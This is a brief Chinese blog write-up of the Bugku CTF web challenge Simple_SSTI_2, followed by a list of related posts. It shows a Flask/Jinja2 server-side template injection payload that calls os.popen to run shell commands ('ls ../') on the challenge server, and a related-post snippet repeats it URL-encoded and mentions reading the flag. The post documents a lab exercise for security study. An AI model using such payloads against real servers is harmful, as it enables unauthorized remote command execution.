CTF-Bugku-WEB-Simple_SSTI_2

已于 2024-06-07 08:34:47 修改
阅读量161 收藏
点赞数 3
分类专栏： 网安-CTF 文章标签： 前端
于 2024-06-06 20:47:16 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/P5093/article/details/139509012
版权

一、前言

做笔记使用

二、思路

1、打开查看题目

2、构造语句

可以看出是用的python的flask模板，开始构造语句进行注入

http://114.67.175.224:17417/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

3、

4、

喝茶我喜欢喝大杯的
关注
  • 3
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BugKu CTF之 Simple_SSTI_2
weixin_42557264的博客
09-16 1871
进入场景 和Simple_SSTI_1一样 提示需要传一个flag参数 F12也没有任何其他提示 ls一下看看内部文件 /?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}} 发现存在一些文件夹，进入查看，先看看第一个，运气很好，第一个app文件夹里就有flag 因为没有过滤直接cat …/app/flag ?flag={{%20config.__clas.
CTF-misc工具2-CTF-Tools-masterV1.3.7
08-17
CTF-Tools-master是一个专注于密码编码识别与解码的工具,能自动推断密码的编码类型,并进行解码。 适用人群: 该工具主要适用于参加CTF竞赛的选手,以及对密码编码算法感兴趣的信息安全从业人员。 使用场景: 在CTF竞赛...
【愚公系列】2023年06月 Bugku-Web（Simple_SSTI_2）
时光隧道
06-22 6084
Flask是一个使用Python编写的轻量级Web应用框架。它的设计目标是简单明了，易于扩展和维护。Flask提供了基本的Web开发所需的组件，如路由、请求和响应处理、会话管理、模板渲染等，同时还支持各种第三方扩展和插件，可以轻松地实现各种复杂的Web应用开发。Flask框架也因其灵活性和简易性而广受欢迎，被许多Web开发者用于构建Web应用和API。Flask是一个使用Python编写的轻量级Web应用框架。它的设计目标是简单明了，易于扩展和维护。
Bugku-Web-Simple
m0_70309959的博客
10-27 94
Bugku-Web-Simple
BUGKU-WEB Simple_SSTI_2
天泽岁月
02-06 542
BUGKU-WEB Simple_SSTI_2
Bugku CTF-Web篇writeup Simple_SSTI_1-2
anlr2020的博客
07-13 3228
Simple_SSTI_1 根据题目名得知为 简单_服务器模板注入 打开服务器场景英文提示，“你需要传入一个名为flag的参数”，得到参数名为flag F12或Ctrl+U查看一下网页代码 “你知道，在flask框架中，我们通常设置一个SECRET_KEY变量” flask：是由python实现的一种微web框架 SECRET_KEY：flask中的一种配置属性，flask涉及安全的东西需要用这个SECRET_KEY密钥进行加密 基本上根据提示可以确定题目的flag就藏在SECR..
BugKu-Web-Simple_SSTI_1&Simple_SSTI_2(浅析SSTI模板注入！）
m0_73734159的博客
12-13 1134
服务端接收了用户的恶意输入以后，未经任何处理就将其作为Web应用模板内容的一部分，模板引擎在进行目标编译渲染的过程中，执行了用户插入的可以破坏模板的语句，因而可能导致了敏感信息泄露、代码执行、GetShell等问题。{{}}是模板变量的用法。在模板中，想要展示视图向模板渲染的变量，需要使用{{变量}}进行接收。这些文件包含了程序运行所需的设置和参数，使得程序可以根据配置文件的内容进行适应性调整。唉，我不免耸了耸肩，有些无奈，并未发现什么有用的。对于这段命令，在第一题，我也是有所提及，相差不大。
CTF-Bugku-WEB-Simple_SSTI_1
P5093的博客
06-02 177
直接在url后面输入：flag={{config.SECRET_KEY}}
Simple_SSTI_1-WEB-bugku-解题步骤
weoptions的博客
12-02 1121
——CTF解题专栏——分享我的解题过程
【web | CTF】BugKu CTF Simple_SSTI_1 和 2
weixin_46301214的博客
02-21 407
一打开题目就告诉你输入flag参数，而且你输入什么就输出什么。很明显就是模板注入，Python的web框架独有的漏洞。那就简单，去查一下payload，一把梭。原理也不解释，就是拿poc一把梭。输入：1 输出：1。
ctf-tools-linux-master_ctf工具_ctf工具_CTFtools_CTF_Tools_
10-01
CTF常用小工具你值得拥有那个。。。。111
ctf-web网络安全课程视频.zip
10-19
网盘文件永久链接 1 - 代码执行与命令执行安全漏洞与防御... 2 - 文件上传安全漏洞与防御... 3 - XXE安全漏洞与防御... 4 - SSRF安全漏洞与防御... 5 - PHP反序列化安全漏洞与防御... 6 - Python 安全开发基础...
ctf-2017-release:BSidesSF CTF 2017版本
05-28
ctf-2017 2017 BSidesSF CTF面临的挑战 内置的 ， ， ， ， 在本地应对挑战 您可以使用docker在本地运行所有挑战。 docker-compose build && docker-compose up -d 挑战将在http://localhost:PORT提供，基于...
网站基本布局CSS
m0_46608027的博客
07-24 791
* 滚动条轨道样式 *//* 滚动条样式 *//* 滑块样式 */
ASP.NET Web Api 使用 EF 6，DateTime 字段如何取数据库服务器当前时间
最新发布
yangshuquan的专栏
07-24 785
在做数据库设计时，为了方便进行数据追踪，通常会有几个字段是每个表都有的，比如创建时间、创建人、更新时间、更新人等，这些时间字段一般存储的是数据库服务器的时间，EF 是操作整个数据表对象，所以需要寻找方法来实现这个目的。本文分享 DB First 和 Code First 两种模式的 EF 中 DateTime 字段如何存储数据库服务器当前时间的方法。
TS如何处理js模块的类型？
闻人放歌的三寸青草园圃
07-24 255
【代码】TS如何处理js模块的类型？
bugkuctfweb题解simple_ssti_2
03-16
simple_ssti_2 是一道 Bugku CTF 网络安全比赛中的 Web 题目，它是一个简单的 SSTI（Server-Side Template Injection）漏洞题目。在这个题目中，我们需要通过注入一些恶意代码来获取 flag。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值